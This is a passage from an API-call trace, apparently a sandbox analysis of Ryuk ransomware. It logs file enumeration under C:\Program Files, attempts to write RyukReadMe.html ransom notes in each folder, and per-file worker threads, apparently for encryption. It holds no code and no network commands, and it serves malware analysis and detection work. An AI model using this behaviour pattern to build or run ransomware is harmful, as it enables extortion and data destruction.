	[0178.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0178.849] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.850] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0178.850] SetLastError (dwErrCode=0x0) 
	[0178.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ole db\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.850] GetLastError () returned 0x5
	[0178.850] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0178.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0178.851] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.851] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x76, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1
	[0178.851] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x76, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1
	[0178.851] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x76, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1
	[0178.851] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0178.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c
	[0178.854] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.854] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x76, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1
	[0178.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0178.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0
	[0178.857] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.858] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x76, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0
	[0178.858] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0178.858] SetLastError (dwErrCode=0x0) 
	[0178.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.859] GetLastError () returned 0x5
	[0178.859] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0178.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0178.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1
	[0178.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1
	[0178.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1
	[0178.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1
	[0178.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1
	[0178.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1
	[0178.860] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1
	[0178.860] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1
	[0178.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0178.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8
	[0179.056] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.056] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1
	[0179.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788
	[0179.058] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.059] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1
	[0179.059] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1
	[0179.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928
	[0179.061] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.062] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1
	[0179.062] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1
	[0179.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964
	[0179.065] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.065] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x68, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1
	[0179.066] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x68, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1
	[0179.066] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x68, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0
	[0179.066] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0179.066] SetLastError (dwErrCode=0x0) 
	[0179.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ole db\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.066] GetLastError () returned 0x5
	[0179.066] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0179.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.067] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x5a, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0179.067] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x5a, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1
	[0179.067] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x5a, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0
	[0179.067] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0179.072] SetLastError (dwErrCode=0x0) 
	[0179.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.072] GetLastError () returned 0x5
	[0179.072] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0179.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.072] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0179.072] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0179.073] SetLastError (dwErrCode=0x0) 
	[0179.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.073] GetLastError () returned 0x5
	[0179.073] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0179.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.073] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x24, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0179.073] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa325be30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa325be30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1
	[0179.074] SetLastError (dwErrCode=0x0) 
	[0179.074] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.074] GetLastError () returned 0x5
	[0179.074] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0179.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa325be30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa325be30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
